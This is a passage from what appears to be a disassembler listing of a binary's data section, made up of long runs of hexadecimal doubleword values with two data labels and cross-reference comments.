0EB239E04h, 63583818h, 0C103830h dd 153A2F5Ah, 0E601033Fh, 0B126B84Bh, 0E93AAFEBh, 0BC06C430h dd 307B04B7h, 52AC127h, 7605D774h, 585B5033h, 55ECBBF1h dd 4D212F46h, 0BA62B559h, 0D7255DE4h, 2D8957ABh, 0E9A585B3h dd 0CCAAB81Dh, 0E55F337Ah, 0EE9E61ECh, 0CB2608C6h, 0FEEC8007h dd 5321F430h, 0F43573B7h, 0FA24606Ch, 0C6F2E95Bh, 0A49C2ADFh dd 58EFE719h, 4ABE1A90h, 73CA77A0h, 0EEEA38A3h, 0F95AD41Eh dd 54B5518Fh, 8100C5C9h, 0D09BE9ECh, 0E510FA82h, 8AFC166Bh dd 0B3215F7Eh, 0CD6BF171h, 6B0D3075h, 0A300741h, 0ED2BE10Eh dd 2A6FC183h, 0C93E36AFh, 0D4F8214Fh, 544E1215h, 8194BD4h dd 9BCDE9D7h, 51483963h, 16D80184h, 3607E0FDh, 0C60A5A29h dd 5100104Ch, 7E346856h, 27E91B57h, 89A66919h, 0A07B064Dh dd 53C50B4Fh, 0AC5F32E8h, 0E84601Eh, 254969A7h, 6B85CAE9h dd 0BA8FFF5Ah, 9C28BD5Fh, 75E590E7h, 0E7BE4C39h, 0ED68FB04h dd 0FC60AF11h, 5B16635Bh, 0CB4EA007h, 7EFD1348h, 5EF2382Dh dd 766D0289h, 7060DD64h, 660D6330h, 1CD72931h, 0D9C20804h dd 0ECB20F98h, 0A1DC1073h, 2CC82805h, 82F0856Dh, 38D84CDEh dd 764A5276h, 152CFCC0h, 4D03A28h, 0AEBB5A3Bh, 8954D8A7h dd 16447B3Bh, 0AE7B4A40h, 0CA4CC38Ah, 8EEB344Eh, 7B2704FCh dd 0C4BE16BEh, 4801FADEh, 0FE0399CBh, 0D000E049h, 4E2960E2h dd 0D083B84Ch, 1153480Ch, 0F1488A18h, 4140680Ah, 91E9843Dh dd 755A099Fh, 479CD9F1h, 76978EEh, 32F105CAh, 0C440531Bh dd 4ADB24B2h, 0F0A3410h, 7630EB98h, 0B9075278h, 6EA56BF6h dd 70F7E1B0h, 0C7615EBDh, 99819E29h, 3120F192h, 6F67E898h dd 49ACE8BDh, 3C659D40h, 0D3D4E10Ah, 2EB7C394h, 981252B5h dd 4358AC4Eh, 120A885Ah, 0E868F2FAh, 0B2ACC626h, 5BFA7FFBh dd 0FF9A1366h, 0ACFEB8Ah, 3EC52F79h, 0BDEC78A5h, 8DCD9789h dd 51855AFh, 45C5AAA7h, 85EA7AF3h, 4190BAABh, 2C4032EBh dd 2482166Ch, 275C1128h, 838461D3h, 839AA36Bh, 83BBA468h dd 2D2827A9h, 0ECD7AE0Bh, 0A4AB798Bh, 1F5F20ADh, 15170504h dd 3BB872C5h, 79900AD6h, 0E3964430h, 32E917D3h, 555D1081h dd 9F23E0DCh, 2771A368h, 0F50EFE27h, 0EC89FC05h, 540078Ah dd 58923C4h, 4CB8C7FAh, 9039DC00h, 0B1FAE94Eh, 82CD39Dh dd 40B422Ah, 0B840D95Bh, 805FD82Eh, 276B850h, 4801422Bh dd 1F4EBD2Dh, 972F407Fh, 2ECE30EAh, 0C716010Ch, 0AC87E6E9h dd 0CD72EF77h, 16A66475h, 0B8548F1h, 0FDAE2512h, 766D21Eh dd 50E5B261h, 28E0B050h, 5803C27Bh, 0F280CAFEh, 0B1240F04h dd 0EB333024h, 0BE5BE68Ah, 59D3A45Fh, 68D78CFAh, 27C5B24Fh dd 0E9E628EEh, 2E8CF92Eh, 9559666Bh, 3F152051h, 0C7FE179Bh dd 3E5839EEh, 0E9961BEDh, 4FB226F5h, 42564417h, 6790CCBAh dd 0C3853064h, 0BD5C91B0h, 22AD3273h, 0A4172AACh, 9ABB5353h dd 19AC4B48h, 1D58AB04h, 1B97B915h, 0B003FFC5h, 24557BF5h dd 5878EACh, 0BF0F348Dh, 79562D01h, 0F52B59F1h, 1C080677h dd 99041482h, 0D8EAF4AFh, 0A0517BF1h, 0EFEC92C8h, 2124FE48h dd 0CC225AD6h, 71755457h, 2EC4CAD1h, 0EA010A17h, 157B00B1h dd 685D6B6Dh, 667F7625h, 71593996h, 15434D97h, 8340AA7Eh dd 6E0A0132h, 87CD816Fh, 4D7BC876h, 55690EC1h, 0F5005C82h dd 0DB00B5BEh, 5DE90130h, 4428F51h, 0EA685938h, 82CBAD3Dh dd 605FF107h, 0DE18F2C0h, 0A2CC21Ch, 0AC6166B8h, 8AFB05F6h dd 7047C96Ah, 0BE555E79h, 993E5929h, 94EC3ACEh, 7D2AC4h dd 4D1E2D5Bh, 0A05E831h, 4FB82207h, 7503ECBh, 0A4E32FE9h dd 3F8DEB20h, 0C11308B0h, 0B0E006EEh, 0B92250C0h, 0A7A45E3Ah dd 0C24989E4h, 6638D7A7h, 0CCBD128Dh, 87E916D2h, 0D736E905h dd 0D8938AAFh, 4F2D6821h, 0B675AC32h, 6EED133Ah, 0F9390BDBh dd 1708D808h, 6E29BF5Fh, 929B4B2Bh, 60E1E477h, 754485Ch dd 0F1EC63B5h, 0BAD6D40Bh, 4030F427h, 0BAD031Eh, 2DB1015Fh dd 4F4C0806h, 0DF68EBEFh, 0B3E92C56h, 0C1808411h, 7B15E85Ch dd 3A73AE34h, 0A90081EEh, 1D680036h, 0BFE9B3Eh, 0A5E8BBE8h dd 0C60F479Ch, 0A9F7876Bh, 70D509Fh, 0CA75EFB8h, 0B877A440h dd 0CA49300Ch, 645C68BFh, 0AC966267h, 3DBA5F38h, 0A1A33AEFh dd 4D3D6C50h, 0EE02157Ah, 2CFD428Dh, 49413540h, 70B5A676h dd 5E0781AAh, 3CAAA32Fh, 0B95D062Dh, 82262937h, 5BDBDC07h dd 0CA6905ACh, 3B9F2AEh, 2D305FB9h, 6D115801h, 0F83F0A45h dd 0A0944B34h, 7D13CAC2h, 0FEA25D9Bh, 0CF8520Bh, 19D12A08h dd 15981C0Ch, 23E9470Ch, 0FCA7778h, 13415F21h, 0BF9D937Ch dd 29F1FE30h, 30902A46h, 0F3DD3AACh, 8948CFA6h, 19824512h dd 19E7BDB1h, 693030A5h, 461EA20h, 0D3E9DBF7h, 0E628AA32h dd 30C34880h, 5BFCE710h, 17AE5485h, 0DD8F14CDh, 80750525h dd 46CA8CAFh, 0A6014E9Ch, 0E55328DAh, 5E2B3738h, 0CD233DFFh dd 0B9826E6h, 52AC33E9h, 5A2B3F91h, 4807262Ch, 2E742508h dd 602C6359h, 0A16CA94Bh, 5A348705h, 0F35E9756h, 0E90B7FC8h dd 85C67D98h, 598D532Fh, 0BD183C0Fh, 29664663h, 2D0FF873h dd 0F5F1B86h, 1202AC05h, 0B21A7DBCh, 3EA3204Eh, 2643B804h dd 91BA081Eh, 6ACE5DABh, 6B71138Ch, 0DCD3106Ah, 12AD3508h dd 0F323A089h, 0E174F84Eh, 4C042EEBh, 46372D5Bh, 9751F052h dd 72CA2EF3h, 9329D1A3h, 67280902h, 0BF905D39h, 16009D05h dd 2D5D57DFh, 0A1F136Dh, 61B8682Ah, 42B992C1h, 565A5B54h dd 71886860h, 0DB106628h, 2600D6E8h, 5DEE892Ah, 0BE7816E9h dd 4B07E9B5h, 657D0949h, 0D64D8A56h, 757A7CEh, 0AB4BD57Dh dd 0E9D001E5h, 0CF3A98B8h, 0D2115963h, 757221FFh, 40C92E5Eh dd 0EBD6033Ah, 0F2CF2107h, 79FF962Ch, 62AD0815h, 330E5F12h dd 80B1E961h, 0D46E6E6h, 4AA298EFh, 4525AED6h, 4EB04127h dd 9A8F0BE9h, 0A0547BCFh, 66827BDh, 0EF816601h, 0FEF00D23h dd 986D0790h, 0CFAD2845h, 2B7425E2h, 0E82D5A00h, 0BF181A5Dh dd 684142F1h, 603E6679h dd 8DE95223h, 0F8597040h, 797B95DEh, 2EECD525h, 43305F97h dd 6D9C2AB8h, 996A2060h, 0FCE92F61h, 0C7FD3009h, 56E90577h dd 518FDA2h, 42F72E1Bh, 704FB603h, 24E990A7h, 0E269C66Fh dd 812A373Dh, 5FA8398Ch, 0E50A64D4h, 62D580Fh, 712C4624h dd 0D1EE5D65h, 2AAECDC9h, 899F25B3h, 0DE209A2Fh, 14975295h dd 46F50681h, 5028E13Ch, 342000E5h, 0A4B87439h, 0F80CA50Fh dd 23BAF9E9h, 2F58575Ah, 1F482124h, 0FF7E75F6h, 98A75288h dd 64064C1h, 7188C292h, 0A8AF2104h, 0E0CECBB1h, 1E1DBF11h dd 957E9A5Ah, 0FC5EA750h, 0AB4AC549h, 86B80A34h, 0D7690106h dd 0D1010F0Dh, 0E96BEA75h, 0A225DE6Ch, 6003FA20h, 0F6ED3571h dd 201E3123h, 5139C501h, 34A87B08h, 9931E2D3h, 2D2B67E6h dd 0F380608Fh, 6A096D13h, 415D31FCh, 6B730B96h, 5ED8823h dd 0EF98607h, 0F5602042h, 5E16A827h, 89B0C4B2h, 88A330E3h dd 97BB8294h, 918A1AB5h, 698CE100h, 0D1F76598h, 0B75504CAh dd 0F84BBA10h, 0F3082FE8h, 5CE9C1BCh, 45C93F1Bh, 0B55670E0h dd 0B30CAC65h, 50BB567Eh, 4E370A01h, 0B064AA61h, 6C4DE0AFh dd 0E0A2B75Fh, 2DF9F24Eh, 21AD501h, 5F5FC244h, 0B75AD2B0h dd 0E9166FD8h, 50F29586h, 0B69A583Ch, 0C0FF12B7h, 752C8AB5h dd 41BB017h, 5E608CEFh, 1EB78016h, 23606510h, 0CBAA190Ch dd 0BCC49F01h, 54FB5E76h, 0C1D5FFAFh, 8EFEA712h, 0C55C35C8h dd 95609CF0h, 67E07F68h, 189AF788h, 0C72AB09h, 0C42E6ED5h dd 924A253h, 0A44C9511h, 51B2A620h, 0B050C400h, 0F6C0FE21h dd 3408C7D8h, 0C8D60F4Fh, 195E1F7h, 5B81BDC6h, 837A60EEh dd 0FBCB3FA4h, 0ECCA3AAFh, 6AD81761h, 1F06EE1h, 9C739E45h dd 16FB0986h, 0C22150F1h, 11416C90h, 68AD0800h, 891852C8h dd 0A4A3FBD2h, 8F056858h, 0AF717369h, 806C094h, 4AF25158h dd 849BE27Eh, 560E34DEh, 2820A5C9h, 8008E1C0h, 5168C107h dd 2C6F3DB1h, 2D07183Eh, 0AD89F4E9h, 96E567F5h, 79B8B140h dd 72178717h, 4034FF09h, 688E924h, 1ECC5C97h, 524213B9h dd 0F1E0000Dh, 378F4355h, 0AB60E918h, 13AEE745h, 1349E48h dd 161218A0h, 6CB12027h, 0FB830C0Bh, 820B7C21h, 501046FEh dd 4705BFC0h, 82EFE91Ah, 83D2F476h, 139F19C6h, 0F10ABF4h dd 12853AB4h, 0E5EE4841h, 39AC3A13h, 4B4A62C3h, 5009FAB5h dd 8DDE0491h, 0F59DBE17h, 0BBF195FBh, 0BD5EBDD4h, 684163D4h dd 0F42218E8h, 5B4F7020h, 79802DBBh, 6F8416B8h, 5B8ABDE3h dd 0D11F30EBh, 0E40F2DE0h, 84B0CC0Dh, 88ADA76h, 3F685007h dd 5839F06Eh, 200247C7h, 3E0540D7h, 0B8E4D753h, 0C8FB0131h dd 8407C045h, 0B2C481FDh, 51AC008Ah, 53BE3DB5h, 0F3174113h dd 0C96809B0h, 0BD42E45Bh, 0B163C122h, 201B4007h, 0A994358Ch dd 2D337FC0h, 235F8ED3h, 841952ADh, 420CF030h, 0C4EC4F40h dd 0A418E90Dh, 0D2BDEBE2h, 0BD9BF647h, 3E7D668Bh, 0FE293026h dd 205BB18h, 29AE5F5Bh, 55068005h, 471A6268h, 0E925C53Ah dd 0BE4CF09Dh, 9B1B1D02h, 5EEA8162h, 0B078AF14h, 965859B7h dd 0D7B7B35Dh, 137B8ABFh, 9DFE77C6h, 69BF2B86h, 77E83E5Bh dd 1F2D2EB9h, 9DC14575h, 66164606h, 7106A609h, 4A17A21Eh dd 0DB20C9C1h, 4D143FE8h, 404CF2E8h, 0F068A011h, 62739C51h dd 7F09D498h, 814913D1h, 0CA6D6131h, 39DF53DEh, 437FD35h dd 12ECE747h, 0C15A1CBBh, 0F6DFE480h, 41F4D5DCh, 3F14D9FEh dd 0F95F388Ah, 427CCBB0h, 0F5715747h, 7E5CFB8Bh, 0D652F19Bh dd 33D5D1A2h, 0C1609877h, 88B72653h, 28ED00AAh, 0C267E9F9h dd 0D967FCB5h, 93616F5Ch, 8381CE03h, 2E1BB7F6h, 789C383Bh dd 9AD05801h, 5B5653EFh, 5E83096Bh, 0E4C0EB82h, 0D6427C59h dd 7C0D998h, 96E7A68h, 0BF9B6ED5h, 0E98BFD5Bh, 7580C2D2h dd 1DDB87C0h, 5E684518h, 6FE903DAh, 0EEE071C9h, 0F2FB129Fh dd 34B1A49Ah, 494FC602h, 0D9088079h, 2C170A77h, 0C8866C01h dd 5453C0Ch, 0D1D8AB1Ch, 0D08E4A1Ah, 3A49EB19h, 0D5086327h dd 4DCE0500h, 689C4CFCh, 51B50720h, 96F4829h, 4CC6AB63h dd 0F30CF20Bh, 32D90B18h, 0F10C0B96h, 0B8CC0945h, 146249D4h dd 59E20B4Ah, 0C9520157h, 6CCD1C02h, 4DD8C13Eh, 473497DFh dd 1B048BE8h, 0D1898056h, 686D1DA7h, 4E19C5A1h, 0C4EECA56h dd 58BDAE6Eh, 0F0B71692h, 1A94AD7Fh, 0C419F4C2h, 77EA20F4h dd 4B4EBD01h, 0B9517B17h, 4C491BE8h, 0BA18DA7Ah, 83BE2F3Dh dd 6B4E3400h, 6C1CE681h, 0E92D1711h, 0C7FEB43Bh, 0B4823E95h dd 63FEC999h, 1746B763h, 0ED5DEBD3h, 2DFBD6F9h, 0BA666E04h dd 0E9541220h, 413A4B4Ah, 2C231180h, 894ED467h, 0FE9835ABh dd 0A2FA6FD4h, 4B68E058h, 79989518h, 0F2AAF26Eh, 4874FADDh dd 35B425Ch, 0DEF75ED2h, 97FEEEFAh, 50B858h, 53CFC11h dd 0DD72D97Ah, 7748095h, 12293F64h, 0BD10E9CEh, 0C0294F6Ah dd 0E03C7FFDh, 0E93A6815h, 5AF02D7Ah, 0D2EE7A5Ch, 8CE96F61h dd 0C04B2B6Ch, 0C625D18Bh, 492CD55Ch, 0F2182713h, 20C37765h dd 5A0C5969h, 692BC068h, 9C625BD1h, 0C2048186h, 20222A3Ch dd 5F8A1AEh, 46620C08h, 8390C0B1h, 0D95E8090h, 0FE8FCDADh dd 0EDB05043h, 946052E2h, 3770B679h, 76624CFBh, 856B285Ch dd 8443946Dh, 0A79813AEh, 7779E8A2h, 0AAB90FC5h, 0DF48FA47h dd 2FB2F3Dh, 2E9B0156h, 8BE6470Bh, 1F278239h, 0C0AFE96Ah dd 0C9D2F796h, 7C7E6434h, 0F7BA7D25h, 8F20FE64h, 8161BD97h dd 26AA3C8Bh, 0C20B9858h, 0EAB77102h, 0BC6213AAh, 8E179E90h dd 492813A0h, 2C8764E8h, 0E9420F95h, 60E5A3E0h, 6B16521Fh dd 0AD2DC6C0h, 79B23D02h, 0D1714E12h, 220A9ABAh, 13E50519h dd 0F2BF4B3Ah, 0F5F12ADEh, 0D6AF5E4Ah, 9EF105D5h, 0CE90F109h dd 5F98680Bh, 90E11E1Ah, 0BAAD2F5Eh, 0E838FFB5h, 78BC6C6Ah dd 0E0F5398h, 81816CDBh, 699470DAh, 43B60C82h, 0E35550EAh dd 0BD40FF77h, 3D0CB4EEh, 4173CF09h, 7106A70h, 0DFBD4EBAh dd 521B0C60h, 68B8193Dh, 716C596Bh, 13CDAC76h, 9BE7AA77h dd 5565D718h, 0C3FC5AD0h, 0AC96816h, 0D810F5A3h, 0D15F0358h dd 0E7E2C1EAh, 10915B2h, 680C1868h, 3307C766h, 3F9182FBh dd 542757CDh, 77C33383h, 377045DAh, 75FEAC4Ah, 8E3DFF7Ah dd 40FDCD2Eh, 2DB279AAh, 58C23000h, 0D026F280h, 0BB290E2h dd 9BC1E9FCh, 61C2BBF9h, 6E04619Dh, 9F9DD5A0h, 7C9D407Ah dd 246C06Eh, 14E777Fh, 805B5A1h, 2EB11585h, 4684F229h dd 0FE280FCCh, 0AE4A54E6h, 3DF03E17h, 86D30FF6h, 74280D9h dd 9655CB28h, 0F49781BDh, 18EDF674h, 187E16E9h, 6209C0BEh dd 878949A5h, 0BB30816Fh, 2D22C877h, 0B50330E9h, 1A07E3D1h dd 0A7888EE6h, 5689FD2h, 9140EA5Ah, 7CD31F20h, 4D650725h dd 604808E4h, 30B03145h, 2532449Fh, 0B4DED329h, 1BC1F744h dd 0DE6672A4h, 3F862610h, 8BCFADADh, 0D383556Bh, 778A4557h dd 0B95CA30Eh, 2BEDE128h, 0BF254AF0h, 0DF0B44F2h, 0FE199075h dd 0BD0720D8h, 0EA60B1F9h, 5FF36AB8h, 0B1D0F40Ch, 0E42A8441h dd 7F127D2Ch, 970B7CB9h, 0A63959E3h, 4F933DC5h, 0D6734E65h dd 0D6407CE9h, 625A9768h, 23FD7099h, 5860053Eh, 29D9E42Dh dd 1B304F98h, 0A0B646F4h, 59C62F80h, 3071C7F0h, 0A5A0DE4Eh dd 1DE2BD89h, 0F5C065DCh, 4F42F173h, 0D4A4E99Bh, 0FBA34A86h dd 8339F697h, 850298E9h dd 303B9CBEh, 0B513400h, 4B486C0Dh, 0D6E91B20h, 0EE84B486h dd 67342C81h, 7FAA2315h, 4C5AD4D9h, 0C1398884h, 273FCC53h dd 35890036h, 3F63DC49h, 0E6CA01F4h, 0B5BB0760h, 0F7154957h dd 0BA31C2ACh, 26D90111h, 0BFD14EB0h, 7D6550C6h, 352002Fh dd 0A10DD8F7h, 46317303h, 0C04EA525h, 17890575h, 0F1DE2EDCh dd 22E9DDD9h, 9384D912h, 9D5CEBE8h, 0B8E9A840h, 0BA01F3BCh dd 41C616B4h, 4056066Fh, 5917D28Ah, 37EE3968h, 67128B17h dd 9C01B07Eh, 11A971Dh, 0A3EE3320h, 0E55E1808h, 87454666h dd 9E53DD2Eh, 0BD6F78Ch, 0C618DF5Bh, 545D80E9h, 118AD6B5h dd 0B0DA4A2Ch, 612DF44Eh, 800460B4h, 2E8393F3h, 68EF2765h dd 0B2BD575Eh, 0FF292720h, 0A957278Bh, 25B0C505h, 11C1C660h dd 72F00D05h, 71BB505Fh, 6AA4E955h, 0B9EA6E8h, 48F5B484h dd 3E1FACC0h, 0B02C1D6Ah, 0B19DBDCAh, 0F85EFF80h, 4AF8D37Fh dd 185232ADh, 163B761h, 0C943DEF8h, 0C8FDA860h, 80AE47EDh dd 73E09CBFh, 0F7815700h, 42825EE2h, 53EF0BBAh, 6C8947B6h dd 52025683h, 0C5D714B2h, 56688423h, 0C931AA58h, 922EED23h dd 1C712AFAh, 0FC784AADh, 0C2FD25A7h, 335207BFh, 0FC5F2EDCh dd 0B3095FB5h, 7680904h, 542F1806h, 0B9625E9h, 0FDAAF868h dd 82FD498h, 903EECBFh, 25D17DD9h, 9E46586Ch, 6941BB2Dh dd 6C5CD0C6h, 21E60935h, 477685F6h, 87F23109h, 5F099716h dd 0E90BB467h, 37FC2FD4h, 70EAB197h, 0B696A720h, 0DBC75E9h dd 9DCF3195h, 0FAC37DB4h, 0D68E1AB4h, 0AF401637h, 4AEB4398h dd 0FAFCD564h, 0B260F27Dh, 0C1A65D78h, 1C6F09A0h, 344EE973h dd 0A6CB0DB8h, 0AE855363h, 4AEC37B5h, 0AB16D369h, 50C4B0E2h dd 0BEF2BA54h, 0F33C4B78h, 79F15FBDh, 7B9ED93Eh, 0AEAF284h dd 0B50575Ch, 0B52FA5E9h, 88ED89DDh, 12680298h, 7B23C29Fh dd 27666B5Fh, 5FE310BFh, 0E3A3CB73h, 54E8FD89h, 7178F0C2h dd 10543D48h, 0BB0295FEh, 1AED58B7h, 68660360h, 574BBC2Dh dd 4AF3F080h, 7B48320Ch, 13AD27D0h, 0F852C256h, 0D4883FEBh dd 409E7792h, 8659ADABh, 1688FF25h, 0C4558287h, 37AF0944h dd 0D7781828h, 0B35E0F0Bh, 80895D33h, 2C2DB280h, 0E9F4934Eh dd 0D200E35Fh, 306FF180h, 4B3BB8CCh, 0C45FE8BEh, 0F5C45056h dd 0BA04C556h, 5E0913ABh, 0F245C057h, 0F8F927Fh, 3E921D91h dd 0E4F5C7A9h, 44E915CBh, 0E52F9D79h, 0ED756F8h, 15C0CFFAh dd 2AE820Bh, 88447CE5h, 1E507B34h, 0C944AE2Fh, 9432431Ch dd 48662F21h, 5055F50h, 464E0360h, 7881001h, 3C7F041h dd 78BD5555h, 8959FDEh, 0DD2758FBh, 52FADE10h, 191C5797h dd 0DF25952Ah, 0F2C158h, 0C7805859h, 0B9FC2853h, 0E3886346h dd 2EEB2204h, 0D0AADEE9h, 0FA1074CDh, 0A12D7307h, 21445EA7h dd 9714F0ABh, 3014413Fh, 0D7F76089h, 0BC7EE34Fh, 5036CB59h dd 2D795E4h, 0C6EC168Ch, 0D768163Ch, 0B111AC7Eh, 8357E2C6h dd 0A0C2BC62h, 6ECCC9D5h, 0A4106532h, 4531AECBh, 810488F4h dd 7F526D17h, 0B7ECC5DDh, 69C99770h, 0B9F72E16h, 17106610h dd 0FE8207E9h, 0FE39E056h, 79462D6Bh, 0E8254A54h, 44F69F9h dd 0F6E95763h, 439DEBD3h, 9420CB2Ah, 0D7109CA1h, 6240A462h dd 4091C60Ch, 7B0E05C4h, 0A12A9D61h, 338414B7h, 72F103Fh dd 0D411A375h, 0AEEBD4FEh, 710607C0h, 927F4858h, 0FF4F9E3Bh dd 44FECB52h, 0BF9D88C3h, 0B1D463E8h, 62093113h, 0E9A98D07h dd 6F79F377h, 0DBE1AEAFh, 0D32CD028h, 96DF8997h, 68511315h dd 0ADC8AE5Fh, 0B5100BB2h, 9C7D30CDh, 2A342591h, 705797CAh dd 495D4A66h, 42A3F135h, 86BAC201h, 5E4FCF50h, 0C0248EAh dd 0E8EC5496h, 0C51E5925h, 3A5D00B0h, 0B6520EE6h, 0CBF40ED2h dd 0E44DFE5Ah, 80BF946Ch, 3EFC141h, 1B0089B6h, 0E9632537h dd 71F99D1Fh, 56575C80h, 242DD4BEh, 1F15508h, 414C7DDEh dd 0C8022F31h, 404E02E6h, 9FB1E933h, 0FA308402h, 0E8253C58h dd 0DC46F5A3h, 0EF1E706h, 3B7C12F5h, 0AB2762C7h, 0DFE3897Dh dd 0DB61C390h, 0E540AE9Fh, 63CC7125h, 334EBD5Ah, 3DAE524Ah dd 1D002A9Eh, 7A641A05h, 978F75E9h, 554B95F9h, 899DE0C4h dd 11E6559Fh, 86C3A75Ah, 330FD5BBh, 0F37285DDh, 8B8444FEh dd 64F2AB2Ch, 0C9E782B4h, 8B02D908h, 7548EE80h, 0FE0308A1h dd 401480CEh, 28C3B753h, 0B85B73F8h, 7D0120F7h, 0BAEA313Bh dd 72BA5580h, 36C14B73h, 75C294DAh, 90F26B54h, 0BDAF7798h dd 46A4286Ch, 7D07EB27h, 17A4372Eh, 0EDF2FB50h, 0E756BC81h dd 4FEAF036h, 91A2505h, 0E487F201h, 305D5500h, 6673002Dh dd 0CC35615Eh, 52024570h, 0F708E0C1h, 57C41D8h, 0F01757C4h dd 5639506h, 292E4040h, 0BFE912C2h, 519E7E94h, 4A8C693Ch dd 4099C9EFh, 3317A233h, 3334225Ch, 0D8EA3B36h, 0C02D3418h dd 45C53A0Ch, 0FEA201C2h, 32909416h, 0E665382Dh, 5A03B883h dd 0A139FE57h, 36105A3Dh, 88AF4BB9h, 4F4D74F0h, 83B85E9Ch dd 68156A8Ch, 246F3C26h, 7D8D7C44h, 8A49FC20h, 7F7B2F03h dd 1CFF1BFFh, 31FE9764h, 0B9BD425h, 9FE4F53Ah, 0ADA25195h dd 9D011874h, 5937E038h, 5859B26Ah, 4773068Ah, 0B0C16F2h dd 6B5E442Ch, 691103E0h, 0C397E30h, 589761F6h, 0B727F52Ah dd 0E06EB2FDh, 95AB8100h, 0FDF1ABF7h, 4A5A11A0h, 0CED279C0h dd 0FA5AC1FCh, 1BB542Ch, 0E7E3236h, 2B70D368h, 17AD828Ch dd 0BF039B79h, 0FA87A031h, 8AFF461h, 0D822870h, 2F9B5257h dd 947D6C8Ch, 550227B5h, 6A486DBh, 4A47E889h, 708968EEh dd 3BA2970Dh, 0F80BFB0Ah, 27D1B396h, 0CF480E74h, 5613D724h dd 0BD6098AFh, 0EBE12F41h, 640FE2Eh, 2837045Ch, 6F47F4D8h dd 2DFE154Bh, 2D5DA1C0h, 0B10DA00Eh, 800BD4Dh, 0F8011036h dd 0FBE91C56h, 0E455272Ch, 867138D1h, 8276AA5Ah, 9AF1BF8Dh dd 0FD45E950h, 86BD4380h, 8911CB2Eh, 7E8489B7h, 0D6EB8921h dd 854F3771h, 34BE644Dh, 0B8578137h, 0D32DA07Bh, 236BEC12h dd 0A9CBF509h, 0E818DD37h, 6BE15456h, 0EDA163BDh, 18C8480Ah dd 0DFEF554Bh, 91680B2Ah, 0EBF9F115h, 2A0C96F7h, 343011Fh dd 4C40B951h, 0E2207923h, 0FA1CF460h, 816C008Bh, 0EA13A6C9h dd 594FE90Dh, 0CB42530Eh, 7786C2F0h, 0A2850FA7h, 0BAA09C73h dd 0D6936CDh, 0EC51658h, 0FF615B99h, 0A5F3CE0Fh, 0C2820C62h dd 978D7E03h, 0E89BF459h, 0CB015D3Fh, 0BDB018ECh, 0F13F3E69h dd 88ED020Ah, 0FF06D836h, 0CF5CE178h, 97BC7DE6h, 270B2A9Fh dd 394777F6h, 0A0315914h, 50F4156Eh, 0E09BA0Eh, 0E96CFA26h dd 419BD889h, 301C4FE1h, 4C4FEC37h, 0C3A7C9A8h, 314CC092h dd 0FAC5F7Dh, 0DBFCB70Eh, 455800F0h, 50B16856h, 5E0D2D75h dd 0E0A0050h, 8C185519h, 0CB086026h, 0F145277Bh, 4DB8D72Dh dd 5B5F39E9h, 0CABC13FEh, 71A54859h, 26607BE7h, 176845Ch dd 0A7F38143h, 3B21400Dh, 853A8DBDh, 0B9EA0E97h, 89C62F0Dh dd 0D521293Ch, 0C32EF9C7h, 7B025FC9h, 187F41C0h, 1634BB0Eh dd 1275CF42h, 0F518B4CEh, 0E63DBD71h, 0DEE7AF8Fh, 0C05D4932h dd 2D68591Ah, 2B183542h, 9C4843AAh, 5AC60318h, 5AA763BCh dd 0E9A2F434h, 96CE5126h, 70DE0652h, 0B9C35B77h, 29581D9Fh dd 0DC76AEF2h, 0AB756B5Fh, 0BCC4FDB5h, 744BAFB0h, 6FAD6CB8h dd 0A3FBCDC4h, 6850805Ah, 0EE357577h, 7329B858h, 2DD00048h dd 211B05CCh db 89h byte_4F5345 db 0C7h, 0BCh, 13h ; DATA XREF: ___:004449B0o ; ___:00444D04o dd 0ECEFC163h, 8F95C0BAh, 683ECE29h, 0B980AAE9h, 2894C850h dd 2A302AE3h, 48BA386Dh, 1207474Ch, 532D49BEh, 260A57A9h dd 7A29C368h, 365CAA8h, 0AF13C711h, 138053F0h, 0BA2E5E20h dd 0C41EEA6h, 8278A330h, 7F65E4DFh, 1A7782C7h, 6BDC5749h dd 6A545672h, 40221E24h, 0F2811520h, 0C22D3429h, 209EF827h dd 22985B90h, 82836A28h, 0A7193327h, 56A90F5Fh, 0E4AB8BB1h dd 0A2C99572h, 4B4B764Bh, 8946C77Dh, 56296E9h, 8100657Fh dd 0AAE91EB8h, 4BA77836h, 0B2EB5484h, 553984DFh, 4F7D30AAh dd 3D09B65Dh, 6260E95Ah, 3995F5AAh, 20F312Dh, 56D6FC6Ch dd 2ED00C8Ah, 0FD3CBD22h, 21598F64h, 0A53786EFh, 68580966h dd 0A3DC2983h, 3852C5C7h, 3CDB7411h, 60E6520Ch, 7B160D0Ch dd 92714BD9h, 0EA3A0C8Bh, 0E83F1939h, 4AA9D0F7h, 582CD1E2h dd 37710207h, 0D8405AD6h, 2927C893h, 727176A5h, 4EA6D602h dd 9A905966h, 0A64430Fh dword_4F5454 dd 6056DD1Fh, 0ABE4B4FCh, 0E9B32CA9h, 4885395h, 0F36012A1h ; DATA XREF: ___:00444B7Co dd 0DB284E53h, 364E2468h, 33B6C0A6h, 0D89F0E56h, 0BCA9A090h dd 0CAC62E76h, 42B02CA0h, 1257F87Dh, 10D2FFD4h, 4AE95095h dd 5A5509A3h, 66B66D1h, 93E68A2h, 0A9AA09BAh, 279C3B88h dd 8BA80957h, 0C2246C36h, 0F0B7E90Dh, 89DE51DFh, 3A5D4165h dd 0C11EFC28h, 0F22BE9FBh, 0BACB27Bh, 60044D32h, 82DF98A6h dd 0BF034178h, 89712206h, 849CF1F8h, 8B451C9Dh, 0C5F154B1h dd 91528449h, 5AD33000h, 0D8E02A2Ch, 2030D290h, 0BF58245Ch dd 5F697217h, 7493B47Ah, 0AFFC384Bh, 0A19A48DEh, 3320BB01h dd 41E84C78h, 0B780B2E1h, 62768243h, 0EB81FB1Fh, 68F04985h dd 725F8A4Ch, 1574112h, 810CC391h, 0F9229A51h, 3882437Ch dd 4B240DF7h, 0BDE8DE55h, 0C35B1F0Ch, 54709342h, 0D3005495h dd 745C8CCAh, 0A805E87h, 5FDA8922h, 5778E456h, 207D9055h dd 8313148Ch, 3DBE02EDh, 168F725Eh, 0D9FF9EE2h, 52E3EFBEh dd 5AF5D905h, 788019D8h, 5E27A50Fh, 55DFA0E6h, 0C900C8B0h dd 0BD5C925Eh, 7FBFD49Bh, 9FDD7FF4h, 0EF68DE01h, 1DBC6634h dd 3A17513Ch, 6DE15C01h, 0E6D8179Fh, 5F3E7196h, 0FEDE874Fh dd 870FA567h, 6EC9F49h, 7305EBECh, 68E9A080h, 0CC5B02E8h dd 7612FDAAh, 61BC1DA7h, 24200741h, 0DD6697DBh, 13872020h dd 1FB9C480h, 117627A6h, 0B82FAE5h, 6B26495h, 0D0802302h dd 569D6D52h, 0B6F2CB3h, 17FC6041h, 752198BBh, 